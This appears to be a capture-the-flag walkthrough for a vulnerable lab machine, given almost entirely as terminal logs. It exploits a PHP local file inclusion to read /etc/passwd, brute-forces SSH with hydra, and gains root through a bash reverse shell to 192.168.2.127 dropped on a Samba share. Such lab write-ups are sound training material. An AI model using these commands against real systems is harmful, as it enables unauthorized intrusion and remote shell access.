┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.136
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.136
+ Target Hostname: 192.168.2.136
+ Target Port: 80
+ Start Time: 2023-06-12 16:13:53 (GMT+0200)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 24e, size: 5c6caf410fa00, mtime: gzip.
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /icons/README: Apache default file found.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2023-06-12 16:14:13 (GMT+0200) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Initial Access
┌──(root㉿cyber)-[~]
└─# stegseek atlasg.jpg /usr/share/wordlists/rockyou.txt
my child,
why don't you look your atlas?
it will lighten your way.
---------------------------------------
das Bild zeigt auf einer Karte MD5 an
MD und 5 mal x
------------------------------------------------------------------------------
┌──(root㉿cyber)-[~]
└─# for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> g3.txt; done
┌──(root㉿cyber)-[~]
└─#
gobuster dir -u http://192.168.2.136/ -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w g3.txt -b '403,404' -e --no-error
http://grotesque.vuln/f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 67]
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://grotesque.vuln/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd
Total requests: 220554
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000017557: 200 27 L 40 W 1457 Ch "purpose"
Total time: 0
Processed Requests: 124673
Filtered Requests: 124672
Requests/sec.: 0
root:x:0:0:root:/root:/bin/bash
freddie:x:1000:1000:freddie,,,:/home/freddie:/bin/bash
┌──(root㉿cyber)-[~]
└─# cat g3.txt | tr -d " -" >> neu.txt
┌──(root㉿cyber)-[~]
└─#
gobuster dir -u http://grotesque.vuln -x txt,php -w neu.txt -b '403,404' -e --no-error
http://grotesque.vuln/f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 67]
Target: http://grotesque.vuln/f66b22bf020334b04c7d0d3eb5010391.php?purpose=FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000081: 200 27 L 40 W 1457 Ch "/etc/passwd"
000001108: 200 56 L 56 W 783 Ch "/etc/group"
000001089: 200 7 L 22 W 189 Ch "/etc/hosts"
000001098: 200 23 L 135 W 869 Ch "/etc/mysql/my.cnf"
000001093: 200 227 L 1115 W 7224 Ch "/etc/apache2/apache2.conf"
000001092: 200 18 L 127 W 1073 Ch "/etc/fstab"
000001090: 200 7 L 40 W 286 Ch "/etc/motd"
000001277: 200 0 L 1 W 27 Ch "/proc/self/cmdline"
000001278: 200 1 L 52 W 318 Ch "/proc/self/stat"
000001322: 200 0 L 1 W 1151 Ch "/var/run/utmp"
000001321: 200 0 L 1 W 1919 Ch "/var/log/wtmp"
000001320: 200 1 L 0 W 1 Ch "/var/log/lastlog"
000001311: 200 121 L 394 W 3230 Ch "/etc/ssh/sshd_config"
000001298: 200 22 L 190 W 1042 Ch "/etc/crontab"
000001296: 200 2 L 5 W 27 Ch "/etc/issue"
000001300: 200 1 L 14 W 138 Ch "/proc/version"
000001301: 200 1 L 4 W 97 Ch "/proc/cmdline"
000001279: 200 54 L 132 W 1028 Ch "/proc/self/status"
Total time: 0
Processed Requests: 2894
Filtered Requests: 2876
127.0.0.1 localhost
127.0.1.1 grotesque
┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.136 grotesque.vuln grotesque
Debian GNU/Linux 10 \n \l
┌──(root㉿cyber)-[~]
└─# hydra -l freddie -P neu.txt ssh://grotesque.vuln:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-12 23:13:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 207698 login tries (l:1/p:207698), ~3246 tries per task
[DATA] attacking ssh://grotesque.vuln:22/
[STATUS] 327.00 tries/min, 327 tries in 00:01h, 207405 to do in 10:35h, 30 active
[STATUS] 226.33 tries/min, 679 tries in 00:03h, 207057 to do in 15:15h, 26 active
[STATUS] 184.86 tries/min, 1294 tries in 00:07h, 206446 to do in 18:37h, 22 active
--------------------------------------------------------------------------------------------------
[22][ssh] host: grotesque.vuln login: freddie password: 61a4e3e60c063d1e472dd780f64e6cad
--------------------------------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 20 final worker threads did not complete until end.
[ERROR] 20 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
┌──(root㉿cyber)-[~]
└─# ssh freddie@grotesque
The authenticity of host 'grotesque (192.168.2.136)' can't be established.
ED25519 key fingerprint is SHA256:P07e9iTTwbyQae7lGtYu8i4toAyBfYkXY9/kw/dyv/4.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'grotesque' (ED25519) to the list of known hosts.
freddie@grotesque's password:
61a4e3e60c063d1e472dd780f64e6cad
Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
freddie@grotesque:~$
Privilege Escalation
freddie@grotesque:~$ sudo -l
-bash: sudo: command not found
freddie@grotesque:~$ ls -la
total 20
drwxr-xr-x 4 freddie freddie 4096 Jun 12 16:15 .
drwxr-xr-x 3 root root 4096 Dec 17 2020 ..
drwx------ 3 freddie freddie 4096 Jun 12 16:15 .gnupg
drwx------ 2 freddie freddie 4096 Jul 11 2021 .ssh
-r-x------ 1 freddie freddie 32 Jul 11 2021 user.txt
freddie@grotesque:~$ ll
-bash: ll: command not found
freddie@grotesque:~$ cat user.txt
35A7EB682E33E89606102A883596A880
35A7EB682E33E89606102A883596A880freddie@grotesque:~$ find / -type f -perm -4000 -ls 2>/dev/null
25269 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
21909 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
16365 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
81 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
4028 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
76 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
4030 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3547 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
3694 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
79 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
77 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
freddie@grotesque:~$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1457 Dec 17 2020 /etc/passwd
freddie@grotesque:~$ cd /opt/
freddie@grotesque:/opt$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Dec 17 2020 .
drwxr-xr-x 19 root root 4096 Jul 11 2021 ..
freddie@grotesque:/opt$ cd /var/backups/
freddie@grotesque:/var/backups$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Jun 12 09:11 .
drwxr-xr-x 13 root root 4096 Dec 17 2020 ..
-rw-r--r-- 1 root root 14721 Jul 11 2021 apt.extended_states.0
-rw-r--r-- 1 root root 1279 Dec 17 2020 apt.extended_states.1.gz
freddie@grotesque:/var/backups$ cd /var/www/html/
freddie@grotesque:/var/www/html$ ls -la
total 4596
drwxr-xr-x 2 root root 4096 Jul 11 2021 .
drwxr-xr-x 3 root root 4096 Dec 17 2020 ..
-rw-r--r-- 1 root root 2513334 Jul 10 2021 atlasg.jpg
-rw-r--r-- 1 root root 67 Jul 10 2021 f66b22bf020334b04c7d0d3eb5010391.php
-rw-r--r-- 1 root root 2174858 Jul 10 2021 gigachad.png
-rw-r--r-- 1 root root 590 Jul 10 2021 index.html
freddie@grotesque:/var/www/html$ cat f66b22bf020334b04c7d0d3eb5010391.php
$filename = $_GET['purpose'];
include($filename);
freddie@grotesque:/var/www/html$ getcap -r / 2>/dev/null
freddie@grotesque:/var/www/html$ grep -ri pass /var/log/* 2>/dev/null
freddie@grotesque:/var/www/html$ python3 -m http.server 8555
freddie@grotesque:/tmp$ smbclient -L localhost
Unable to initialize messaging context
Enter WORKGROUP\freddie's password:
Try "help" to get a list of possible commands.
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
grotesque Disk grotesque
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP GROTESQUE
freddie@grotesque:/tmp$ smbclient //localhost/grotesque
Unable to initialize messaging context
Enter WORKGROUP\freddie's password:
Try "help" to get a list of possible commands.
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> ls
. D 0 Sun Jul 11 09:24:27 2021
.. D 0 Sun Jul 11 09:20:30 2021
1942736 blocks of size 1024. 674116 blocks available
Privilege Escalation
freddie@grotesque:/tmp$ nano shell.sh
freddie@grotesque:/tmp$ chmod +x shell.sh
freddie@grotesque:/tmp$ chmod 777 shell.sh
freddie@grotesque:/tmp$ cat shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.2.127/6666 0>&1'
freddie@grotesque:/tmp$ smbclient //localhost/grotesque
Unable to initialize messaging context
Enter WORKGROUP\freddie's password:
Try "help" to get a list of possible commands.
smb: \> put shell.sh
putting file shell.sh as \shell.sh (65.4 kb/s) (average 65.4 kb/s)
┌──(root㉿cyber)-[~/HackingTools]
└─# nc -lvnp 4445
listening on [any] 4445 ...
--------------------------------------------------------------------------------------------
smb: \> ls
. D 0 Mon Jun 12 16:47:36 2023
.. D 0 Sun Jul 11 09:20:30 2021
shell.sh A 57 Mon Jun 12 16:56:22 2023
rb A 55 Mon Jun 12 16:47:36 2023
1942736 blocks of size 1024. 674108 blocks available
smb: \> delete rb
delete: command not found
smb: \> ls
. D 0 Mon Jun 12 16:58:06 2023
.. D 0 Sun Jul 11 09:20:30 2021
shell.sh A 57 Mon Jun 12 16:56:22 2023
1942736 blocks of size 1024. 674112 blocks available
smb: \> put shell.sh
putting file shell.sh as \shell.sh (570000.0 kb/s) (average inf kb/s)
smb: \> ls
. D 0 Mon Jun 12 16:58:36 2023
.. D 0 Sun Jul 11 09:20:30 2021
shell.sh A 57 Mon Jun 12 16:58:36 2023
1942736 blocks of size 1024. 674112 blocks available
smb: \> freddie@grotesque:/tmp$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.2.127/6666 0>&1
freddie@grotesque:/tmp$
--------------------------------------------------------------------------------------------
┌──(root㉿cyber)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.136] 40562
bash: cannot set terminal process group (17867): Inappropriate ioctl for device
bash: no job control in this shell
root@grotesque:~# cat root.txt
cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A
Flags
cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A
cat user.txt
35A7EB682E33E89606102A883596A880